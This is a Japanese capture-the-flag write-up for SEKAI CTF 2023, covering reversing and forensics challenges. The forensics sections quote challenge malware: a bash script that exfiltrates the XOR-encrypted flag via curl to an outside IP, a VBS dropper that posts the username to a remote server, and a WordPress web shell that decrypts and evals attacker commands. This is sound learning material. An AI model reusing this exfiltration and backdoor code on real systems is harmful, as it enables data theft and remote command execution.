8/26 から開催されていた SEKAI CTF 2023 に 0nePadding で参加していました。
今回の最終順位は 347 位でした。。
実力不足を嘆きつつ、いつものように復習を兼ねて Writeup を書きます。
面白そうな問題がいくつもあったので、解けなかった問題も後でチャレンジしていきたいと思います。
もくじ
- Azusawa’s Gacha World(Rev)
- Guardians of the Kernel(Rev)
- Eval_Me(Forensic)
- DEF CON Invitation(Forensic)
- Infected(Forensic)
- まとめ
Azusawa’s Gacha World(Rev)
色々と著作権的に問題がありそうなのでスクショは貼りませんが、Flag が埋め込まれたソシャゲアプリのコピーを解析する問題でした。
Flag はガチャ排出率が 0 % に設定されている SSR の画像に埋め込まれています。
問題バイナリは Unity で実装されたゲームでしたので、Assembly-CSharp.dll を ILSpy で解析することで処理を解析しました。
参考:How to Reverse Engineer a Unity Game | Kodeco
ただ、実装を追うよりもリソースを抽出してしまう方が早いと考えたため、AssetStudio を使ってゲーム画像を抜き出すことで、Flag を取得できました。
Guardians of the Kernel(Rev)
It’s just a warmup but with another layer which is the kernel.
Attachment
問題バイナリとして与えられたのは bzImage と initramfs.cpio でした。
以下のコマンドでファイルシステムをローカルに展開してみたところ、flag_checker.ko
というカーネルドライバのファイルを取得できます。
mkdir root
cd root; cpio -idv < ../initramfs.cpio
これを IDA でデコンパイルしたところ、以下の device_ioctl 関数を取得できました。
__int64 __fastcall device_ioctl(__int64 a1, int a2, __int64 a3)
{
__int64 result; // rax
unsigned __int8 *v6; // rax
int v7; // edx
int v8; // eax
unsigned int v9; // eax
__int64 v10; // rdx
if ( a2 == 28673 )
{
if ( !layers[1] )
return 0LL;
if ( !copy_from_user(buffer, a3, 7LL) )
{
buffer[7] = 0;
v6 = buffer;
while ( (unsigned __int8)(*v6 - 48) <= 9u )
{
if ( &buffer[7] == ++v6 )
{
v7 = 7 * __ROL4__(1507359807 * __ROR4__(422871738 * *(_DWORD *)buffer, 15), 11);
v8 = __ROR4__(422871738 * ((buffer[5] << 8) ^ (buffer[6] << 16) ^ buffer[4]), 15);
v9 = 1984242169
* ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ (((v7 + 1204333666) ^ (unsigned int)(1507359807 * v8)) >> 16));
if ( (((-1817436554 * ((v9 >> 13) ^ v9)) >> 16) ^ (-1817436554 * ((v9 >> 13) ^ v9))) != 261736481 )
return 0LL;
return device_ioctl_cold();
}
}
return 0LL;
}
return -14LL;
}
if ( a2 == 28674 )
{
if ( !layers[2] )
return 0LL;
v10 = copy_from_user(buffer, a3, 12LL);
if ( !v10 )
{
do
{
buffer[v10] += buffer[v10 + 1] * ~(_BYTE)v10;
++v10;
}
while ( v10 != 12 );
if ( *(_QWORD *)buffer != 0x788C88B91D88AF0ELL || *(_DWORD *)&buffer[8] != 2113081836 || buffer[12] )
return 0LL;
printk(&unk_2EB, a3);
return 1LL;
}
return -14LL;
}
if ( a2 != 28672 )
{
printk(&unk_302, a3);
return 0LL;
}
if ( copy_from_user(buffer, a3, 6LL) )
return -14LL;
if ( *(_DWORD *)buffer != 1095451987 || *(_WORD *)&buffer[4] != 31561 )
return 0LL;
printk(&unk_2B6, a3);
result = 1LL;
layers[1] = 1;
return result;
}
コードは大きく 3 つの処理に分割されており、それぞれの処理で Flag の文字列のバリデーションを行っていることがわかります。
まず最初のレイヤです。
if ( a2 != 28672 )
{
printk(&unk_302, a3);
return 0LL;
}
if ( copy_from_user(buffer, a3, 6LL) ) return -14LL;
if ( *(_DWORD *)buffer != 1095451987 || *(_WORD *)&buffer[4] != 31561 ) return 0LL;
printk(&unk_2B6, a3);
result = 1LL;
これは見てわかる通りですが、Flag の最初の 6 バイトが SEKAI{
に一致することを示しています。
続いて、以下のレイヤを見ていきます。
if ( a2 == 28674 )
{
if ( !layers[2] )
return 0LL;
v10 = copy_from_user(buffer, a3, 12LL);
if ( !v10 )
{
do
{
buffer[v10] += buffer[v10 + 1] * ~(_BYTE)v10;
++v10;
}
while ( v10 != 12 );
if ( *(_QWORD *)buffer != 0x788C88B91D88AF0ELL || *(_DWORD *)&buffer[8] != 2113081836 || buffer[12] )
return 0LL;
printk(&unk_2EB, a3);
return 1LL;
}
return -14LL;
}
こちらも処理としては非常にシンプルで、Flag の末尾 12 文字分に対して buffer[i] += buffer[i + 1] * ~(_BYTE)i
の演算を行った結果が、ハードコードされたバイト値と一致するかを検証しています。
これは、以下の Solver で解くことができました。
from z3 import *
flag = [BitVec(f"flag[{i}]", 8) for i in range(13)]
buf = [BitVec(f"buf[{i}]", 8) for i in range(13)]
s = Solver()
for i in range(12):
s.add(And(
(flag[i] >= 0x21),
(flag[i] <= 0x7e)
))
s.add(flag[i] != 0)
s.add(flag[12] == 0x00)
s.add(buf[12] == 0x00)
# buffer[i] += buffer[i + 1] * ~(_BYTE)i;
for i in range(12):
s.add(buf[i] == flag[i] + flag[i+1] * (~i & 0xFF) )
s.add(buf[7] == 0x78)
s.add(buf[6] == 0x8C)
s.add(buf[5] == 0x88)
s.add(buf[4] == 0xB9)
s.add(buf[3] == 0x1D)
s.add(buf[2] == 0x88)
s.add(buf[1] == 0xAF)
s.add(buf[0] == 0x0E)
s.add(buf[11] == 0x7d)
s.add(buf[10] == 0xf3)
s.add(buf[9] == 0x11)
s.add(buf[8] == 0xec)
if s.check() == sat:
m = s.model()
for c in flag:
print(chr(m[c].as_long()),end="")
上記を実行すると Flag の末尾が SEKAIPL@YER}
になることがわかります。
最後に、Flag の前半部分のレイヤを見ていきます。
ここは、実装としては読めていたのですが、Solver を上手く書くことができずコンテスト中に解くことができませんでした(カッコを付ける位置がずれていたようです。。)
if ( a2 == 28673 )
{
if ( !layers[1] )
return 0LL;
if ( !copy_from_user(buffer, a3, 7LL) )
{
buffer[7] = 0;
v6 = buffer;
while ( (unsigned __int8)(*v6 - 48) <= 9u )
{
if ( &buffer[7] == ++v6 )
{
v7 = 7 * __ROL4__(1507359807 * __ROR4__(422871738 * *(_DWORD *)buffer, 15), 11);
v8 = __ROR4__(422871738 * ((buffer[5] << 8) ^ (buffer[6] << 16) ^ buffer[4]), 15);
v9 = 1984242169
* ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ (((v7 + 1204333666) ^ (unsigned int)(1507359807 * v8)) >> 16));
if ( (((-1817436554 * ((v9 >> 13) ^ v9)) >> 16) ^ (-1817436554 * ((v9 >> 13) ^ v9))) != 261736481 )
return 0LL;
return device_ioctl_cold();
}
}
return 0LL;
}
return -14LL;
}
実装としては、Flag の前半 7 文字を 4 バイトと 3 バイトに分割して、シフトやローテートシフト、または乗算などの複数の計算を行った結果を比較するものになっています。
# モジュールをインポート
from z3 import *
from pwn import *
# ビットベクトル変数を作成
buf = BitVec("buf", 32)
buf2 = BitVec("buf2", 32)
# ソルバのインスタンスを生成
s = Solver()
s.add(buf2>>24 == 0)
for i in range(4):
# LShR(>>)
s.add((LShR(buf,8*i) & 0xFF) >= 0x30)
s.add((LShR(buf,8*i) & 0xFF) <= 0x39)
for i in range(3):
# LShR(>>)
s.add((LShR(buf2,8*i) & 0xFF) >= 0x30)
s.add((LShR(buf2,8*i) & 0xFF) <= 0x39)
# def ror(a,b): return (LShR(a,b)|(a<<(32-b))) & N # RotateRight
# def rol(a,b): return ror(a,32-b) # RotateLeft
# v7 = 7 * __ROL4__(1507359807 * __ROR4__(422871738 * *(_DWORD *)buffer, 15), 11);
# v8 = __ROR4__(422871738 * ((buffer[5] << 8) ^ (buffer[6] << 16) ^ buffer[4]), 15);
# v9 = 1984242169 * ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ (((v7 + 1204333666) ^ (unsigned int)(1507359807 * v8)) >> 16));
# if ( (((-1817436554 * ((v9 >> 13) ^ v9)) >> 16) ^ (-1817436554 * ((v9 >> 13) ^ v9))) != 261736481 )
N = 0xFFFFFFFF
a = (422871738 * buf)
a = (1507359807 * RotateRight(a, 15))
v7 = (7 * RotateLeft(a, 11))
b = buf2
v8 = RotateRight((422871738 * b), 15)
v9 = (1984242169 * ((v7 + 1204333666) ^ (1507359807 * v8) ^ 7 ^ LShR((((v7 + 1204333666) ^ (1507359807 * v8))), 16)))
s.add((LShR(((-1817436554 * (LShR(v9, 13) ^ v9))), 16) ^ (-1817436554 * (LShR(v9, 13) ^ v9))) == 0xF99C821)
# 解を探索
if s.check() == sat:
print(p32(s.model()[buf].as_long()) + p32(s.model()[buf2].as_long()))
# SEKAI{6001337SEKAIPL@YER}
上記の Solver を実行した結果が 6001337
になるため、最終的に正しい Flag が SEKAI{6001337SEKAIPL@YER}
になることを特定できました。
Eval_Me(Forensic)
I was trying a beginner CTF challenge and successfully solved it. But it didn’t give me the flag. Luckily I have this network capture. Can you investigate?
一定時間以内に計算問題を解く必要がある問題サーバと pcap が与えられます。
まず、以下の Solver を使用して計算問題を解ききると、extract.sh というファイルを入手するための URL が手に入ります。
from pwn import *
import binascii
import time
p = remote("chals.sekai.team", 9000)
def calc(arr):
a = int(arr[0])
b = int(arr[2])
n = arr[1]
if n == "+":
return a+b
if n == "-":
return a-b
if n == "*":
return a*b
if n == "/":
return a/b
print(p.recvline())
print(p.recvline())
print(p.recvline())
print(p.recvline())
i = 0
while (i < 99):
r = p.recvline()
print(r)
r = r.decode().split(" ")
p.sendline(
str(calc(r)).encode()
)
print(p.recvline())
i += 1
p.interactive()
extract.sh は以下のようなスクリプトでした。
#!/bin/bash
FLAG=$(cat flag.txt)
KEY='s3k@1_v3ry_w0w'
# Credit: https://gist.github.com/kaloprominat/8b30cda1c163038e587cee3106547a46
Asc() { printf '%d' "'$1"; }
XOREncrypt(){
local key="$1" DataIn="$2"
local ptr DataOut val1 val2 val3
for (( ptr=0; ptr < ${#DataIn}; ptr++ )); do
val1=$( Asc "${DataIn:$ptr:1}" )
val2=$( Asc "${key:$(( ptr % ${#key} )):1}" )
val3=$(( val1 ^ val2 ))
DataOut+=$(printf '%02x' "$val3")
done
for ((i=0;i<${#DataOut};i+=2)); do
BYTE=${DataOut:$i:2}
curl -m 0.5 -X POST -H "Content-Type: application/json" -d "{\"data\":\"$BYTE\"}" http://35.196.65.151:30899/ &>/dev/null
done
}
XOREncrypt $KEY $FLAG
exit 0
ここでは、s3k@1_v3ry_w0w
を Key として Flag を XOR 暗号化したバイト値を POST リクエストでどこかのサーバに送信していることがわかります。
この時送信している通信パケットは、問題バイナリの pcap に該当します。
そこで、以下のワンライナーを使用して thark で POST リクエストに含まれるバイト値を全件抽出しました。
tshark -r ./capture.pcapng -Y "http.request.method == POST" -T fields -e json.value.string | tr '\n' ' '
最後に、以下の Solver で XOR を復号することで Flag を取得できました。
# tshark -r ./capture.pcapng -Y "http.request.method == POST" -T fields -e json.value.string | tr '\n' ' '
data = "20 76 20 01 78 24 45 45 46 15 00 10 00 28 4b 41 19 32 43 00 4e 41 00 0b 2d 05 42 05 2c 0b 19 32 43 2d 04 41 00 0b 2d 05 42 28 52 12 4a 1f 09 6b 4e 00 0f".split(" ")
data = [int("0x"+ i, 16) for i in data]
key = "s3k@1_v3ry_w0w"
i = 0
for d in data:
print(
chr(d ^ ord(key[i % len(key)])), end=""
)
i += 1
# SEKAI{3v4l_g0_8rrrr_8rrrrrrr_8rrrrrrrrrrr_!!!_8483}
DEF CON Invitation(Forensic)
As you all know, DEF CON CTF Qualifier 2023 was really competitive and we didn’t make it. Surprisingly, 2 months before the finals in Las Vegas, we received an official invitation from Nautilus Institute to attend the event. Should we accept the invitation and schedule the trip?
問題バイナリとして与えられた eml ファイルに添付された ics ファイルに埋め込まれていた HTML ソースを参照したところ、https://storage.googleapis.com/defcon-nautilus/venue-guide.html
という HTML を参照していることがわかります。
この HTML のソースを取得すると、以下のような Javascript が埋め込まれていました。
const ror = (message) => {
const foo = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
const bar = "nopqrstuvwxyzabcdefghijklmNOPQRSTUVWXYZABCDEFGHIJKLM"
return message.replace(/[a-z]/gi, letter => bar[foo.indexOf(letter)])
}
async function dd(dataurl, fileName) {
const response = await fetch(dataurl);
const blob = await response.blob();
const link = document.createElement("a");
link.href = URL.createObjectURL(blob);
link.download = fileName;
link.click();
}
window.onload = function() {
const downloadButton = document.getElementById("downloadButton");
downloadButton.onclick = function() {
dd(ror('uggcf://fgbentr.tbbtyrncvf.pbz/qrspba-anhgvyhf/irahr-znc.cat.iof'), ror('foi.tac.cnz-rhari').split("").reverse().join(""));
}
};
この処理の難読化を適当に解除すると、venue-map.png.vbs という不正な VBS ファイルを取得できます。
VBS ファイルに WScript.Echo
を追加しながら print デバッグを進めてみると、OwOwO(ewkjunfw)
で暗号化された画像ファイルである defcon-flag.png.XORed のダウンロードリンクが展開されました。
そしてさらに VBS の処理を読み進めていくと、コードの最後で以下の処理を呼び出すことがわかります。
Dim http: Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
Dim url: url = "http://20.106.250.46/sendUserData"
With http
Call .Open("POST", url, False)
Call .SetRequestHeader("Content-Type", "application/json")
Call .Send("{""username"":""" & strUser & """}")
End With
この通信先に対して適当なユーザ名を入力して POST メソッドを叩くと、Not admin!
というメッセージが返却されます。
そこで、ユーザ名を admin にして POST リクエストを発行したところ、02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY
という Key を取得できました。
この Key を使用して以下の Solver を作成し、正しい Flag を取得することができました。
import array
KEY = [ord(c) for c in "02398482aeb7d9fe98bf7dc7cc_ITDWWGMFNY"]
def xor_bytes(in_bytes, key=None):
if not key:
key = KEY
arr = array.array('B', in_bytes)
for i, val in enumerate(arr):
cur_key = key[i % len(key)]
arr[i] = val ^ cur_key
return bytes(arr)
def xor_file(input_file, output_file=None, key=None):
with open(input_file, 'rb') as encoded_stream:
buf = encoded_stream.read()
buf = xor_bytes(buf, key=key)
if output_file:
with open(output_file, 'wb') as decoded_stream:
decoded_stream.write(bytes(buf))
return buf
xor_file("defcon-flag.png.XORed", output_file="defcon-flag.png", key=KEY)
Infected(Forensic)
Our systems recently got ransomwared, and we tracked the origin to our web server. We’re not sure how they got access, can you find out?
問題バイナリとして pcap と Wordpress サーバのファイル一式が与えられました。
問題文を読んだ感じ、ランサムの感染経路を特定すればよさそうです。
とりあえず pcap を Wireshark で開いて HTTP リクエストの統計を取ってみたところ、色々と不審なリクエストが着弾していることがわかります。
また、このサーバに対するリクエストは 404 が返却されるものが非常に多かったので、一旦ステータスコードが 200 のパケットのみを抽出します。
GET クエリの一覧を参照したものの、ランサムの感染に直接繋がりそうな情報は見当たりませんでした。
そこで、次は POST メソッドに絞ってパケットを抽出します。
一通りみたところ、明らかに一番下の data.php 宛ての通信で file というデータを POST 送信しており、何かがおかしいことに気づきます。
問題バイナリから data.php を探したところ、以下のような受け取ったデータをファイルとして復号するようなスクリプトでした。
<?php
set_error_handler(function($errno, $errstr, $errfile, $errline) {
// error was suppressed with the @-operator
if (0 === error_reporting()) {
return false;
}
throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
});
try {
$ab8a69 = $_FILES['file'];
$a1721b = fopen($ab8a69['tmp_name'], "r");
$abdfbe = fread($a1721b,filesize($ab8a69['tmp_name']));
$ae25f0 = substr($abdfbe, 0, strpos($abdfbe, "..."));
$aa1090 = substr($abdfbe, strpos($abdfbe, "...") + 3);
$afd8f0 = "-----BEGIN RSA PRIVATE KEY-----\n".chunk_split(base64_encode($aa1090), 64, "\n")."-----END RSA PRIVATE KEY-----\n";
}
catch (Exception $e) {
die("");
}
$aa13a9 = "KG2bFhlYm8arwrJfc+xWCYqeoySjgrWnvA9zuVfd/pBwnmC8vAdOTydYKDC0VE10xRTq6+79HX7QgCScYjQ8ogHzkppFN2ifFSBkM1bzWckTl6shvZvp8d7678ZxlPZOhm4q0MtJ7BMFRbZuSKl10o1UDUkwVm7CZfCBQd1NLf0=,OfCbPFExBkpXi5F+SohxpXQLHvICHKF64rUIxVwhR83nMmO0k9Xqjh4+FHMCz0KcFXF5CGR6WUWC+aDqDhJZTgossQ+h1tSEfHpFif87ip0/OEHerOfyfPtQR3E62xUW1++3gm8WB38nkFiP6o1bkIdd9ZYObwQsp0YPlrj6AlA=,MiH8FWh7hHp+Yr2/Kv78WvMItwiwaCiO4DwBTq/IXU99hHUvb8iayOBUzLtr4Xg9wBGzHq73fY266XK+60YboIC15Es1J7vN8XRsUhlxavf8ssVmYDz4gz08+V9Ow+0k39Ef9Ic4NSiN+vbHCyCdFkvFsbfuUbyCHoxZyAjp1Z4=,pjnJiJt4sgRW48wgVIEmygN5+0HJiAVma5JPxQMIcpYqZUBsPkAW6/2wcMjqkZ7wzXdYZy706JV5gGm1F2egrtEtrsfo2V5eVMOsgLmB/ApVYmYsJ0DBl/8npo0JtvKM3dMeOg9LL5v+26QLKOxDRSX74rAYNSw4iPeH5y4SxCQ=,KkU+QkZ1PbLmKmfcLUGxUDMIWTKoYo9YAfiwe5heK1WwbuqoH2ra3WEv3vLCePK6ovlJoybcCeutQNY5AiR5OOuEAS/uM82WBCffE03cxezkkQPWbA43bstduUHgM6afqxPj6YaFI/C2ARQCYOWGMzYLeCdLkuKfvriudv/XnO0=,CtiyfFrf9+p8L2m6js0jmyHt5+1kYjfD0uO2Nggvkv+fZuBfGmN2BWxvD+oUBVA2TXkKQi+pBBlsc+9WWIjnL7ZCyWol9qUOHIwGdN8ab2IKI3Zl5qUwIFQcJHGRVeAjGnEOGM8iU5T1JZjO+QwJB9LTvyh8Ki9SGjqqxnNGT/M=,VszkcW2yR61TdtOSpRlh4DZ05SOlNR0n8rOlzdmnE+3RBarszIVsSg+59Yc7B+8+NqAslN32qBcu0sW5e+Vz3ABxdnIgaMoQcJ5Ku9T2p2UbuZ0j+LYxTrcIqnlc+THi8Do9q+Lml34/woKDOIIkKrjHhVnf6dusxI7Dv7z3oU0=,pIDhg8+nNcqxxClYVaYAGKig3/T0KWWbDm0BWN0M3u8ST0Nw6Am/crxXGMddK8m6qW5oyOvWgiD6XdUy0cfUo3zeXCXo3UYa+hxrTIKj1SS/n4LkzQ6egSRq4XK1fECKApY+8eiLEMOvyixnzD2ohs6FA5R/a12bMx8xzLctTG8=,TwB9lsoQC47npnc0Fy+Gt85zuRkuk8e1kPjogierA3tZiA6zs+6Qc6d9Ri7kfpasekO4dhZsM1W9z0n/zWpq+0Xp5tJ77mpryGPfae3KRSTS0QscQMi/ZhD+Pi6ajL3FoxKI7wfZ7RA0OKGSxhbiNHcD6WEShSbHILkuC7wWVMw=,rq0fb0wiKfJyqd3CCVAmwu3a8EKvgZ9B3K7sct8BoeBG/PKbp8a8AC9AbWPqnjYSIcFNkexdH1lXJrvgLKrC4UaqpMdi+Zqu96oc3695VfN0zspAKZkjEUwU8PA+En7R5qwSMD4QLop+2qZ+Tx1DC7Y2QwvqH7kAxwwloou45zw=,eTJY1cWk0XfO166TYwkvxA+6A6Ee5xXv53PtV7nbblXGx8PlVXUa5DU/dAXzTuyO1Ykkh16t0TKlyF/7X1G2S5z8RPjmyzIwhALHWw+zvWhE5hDf3lhZ1co6L9/Y7nSgKwUuWTsi1ZPqlrJTTlCyE+gNJE4M+Rh8QfJ/YQsWMBM=,BBeqrThbTcuSguT+9V2a5w2zTeL2GG+WZx26DXy0Y/sH8D85PMTk2lsVNs0e+yj06RfAkQuq6LrYVyEC9wB63ovSKxKIY0vZLaqxwZwA8RdzVcoOrx1/+acY1WqgeG8ZJdXCK7DFcRakkAclhZYNwJO+yKvto+ytvbWcKo0eeDI=,i5rXk8yQ4RVFvlY+sKFvlD19qAA8+9qTtzEGHXeSI9O+v2TDAoLJQuNnp+m3WTReKf8WN3sZ4CTpvUpXR0UYbZ1TUSHRyvWTkm+2P6E4DXdRvotwp+HyviELbjTrn0ajilPV3+X3DF1m1MaDo5v03gBIFRxCuDJM3CYk8KFw/kQ=,";
$a4b1af = "";
$af5e94 = explode(",", $aa13a9);
foreach ($af5e94 as $a64500) {
openssl_private_decrypt(base64_decode($a64500), $a64500, $afd8f0);
$a4b1af .= $a64500;
}
if ($a4b1af == "") {
die("");
}
else {
eval($a4b1af);
}
?>
pcap から抽出した POST データを file.bin として保存してローカルで攻撃を再現します。
# PHPサーバの起動
docker run --net host --rm -it -v `pwd`:/root php bash
php -S 127.0.0.1:8080
# ファイルの送信
curl -X POST -F file=@./file.bin http://localhost:8080/date.php
最後の eval($a4b1af)
の値を print デバッグしてみると以下の PHP スクリプトを取得できました。
$pvk1 = "-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQCyYg7DzqjtPGCUT+q38iZcQDqZFC+lIxqo+g1/OhT45AMPtea0
habVZX77whFsQz5zE3fUXLZCzDnZpvtfr4Y8JSzGdL7O0qf3KAQIfk26YQeKOOje
ECNi5zUk3wf+5QUZjXnvDj+BUr78fV57zMpCBe65+mTiBpFkzsNTYo+VxwIDAQAB
AoGBAKyHPrSPer8JOHf525DRudxbmtFXvsU/cJeiUc+Nw57+GR/m1R4gbj3TDsA8
8VD+sLXoTGuux/FPSVyDrnjbcT25akm0FE+KkBZ6dNLFtOq6WQTe3N8HHDHkpqbZ
qXbmuph4MqZlDpKMbEL1cQ81MkgAdPJnljvrjpIoqn5wZ7cRAkEA1+SjeaueSCu4
4VzXTDOMkBqT5rEfJXnT7fN9eM48dXCd1LotWIL/2xcGkC4OdqT0kQiSs4pOQlcn
Lle18qOL5QJBANOFh3aaoGDfH60ecX2MHDnvHz4CSAIInlNXsPpbhWrt7blmGBeA
nuwIiaQOMzvrj084xk3nI8PMIzdgxUFveDsCQA2w1h0VIQh6nVLNTGnsqvFIfjCW
8t6xhxsD4eUTTwozhg7Db7S5Ofhu0V+7S/eCJnA8FvGDx8q1NCrgLQ2iCXECQDl2
cRKbdy5Z7zUMrDA7O//RIl+qJv3GcZyamg2ph1lBQe+3+JuJ6aKdvya+ZNTGbaxL
9DN9s42hi3+j3nKkYbkCQDy68qEICIdcLPFzv/sEN2JS1Cg21lJMH14ao0M3Di9B
G4oDHVBHCRtDGXOviR8AG0VpghDHheonDFaX5O7VXUM=
-----END RSA PRIVATE KEY-----
";
$pbk1 = "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCyucnknkBP4whz0YJrblke667f
5g4EfCmKcO2j7c+WEOWmbVBRZ/ETtqOIEM8Hp9rV605R1gJBf7tcxziEoX4wxQm5
nfAqXkHUdloGyK7p7IZTh5tX6KnckCtrwbD7EFwjWBBceVHRmnmVdtF4yIkwaD2S
4tw4O5CVYcIlIAAo6QIDAQAB
-----END PUBLIC KEY-----
";
openssl_private_decrypt($ae25f0, $decrypted, $pvk1);
$result = `{$decrypted} 2>&1`;
$encrypted = "";
$chunks = str_split($result, 116);
foreach ($chunks as $chunk) {
openssl_public_encrypt($chunk, $tmp, $pbk1);
$encrypted .= base64_encode($tmp).",";
}
echo $encrypted;
これを PHP に埋め込んで $decrypted を print する行を追加してからもう一度 POST リクエストを送ると、以下のように正しい Flag を取得することに成功しました。
まとめ
コンテスト出るたびに実力不足を痛感。
少しずつでも着実にレベルアップできていればいいのだけれど。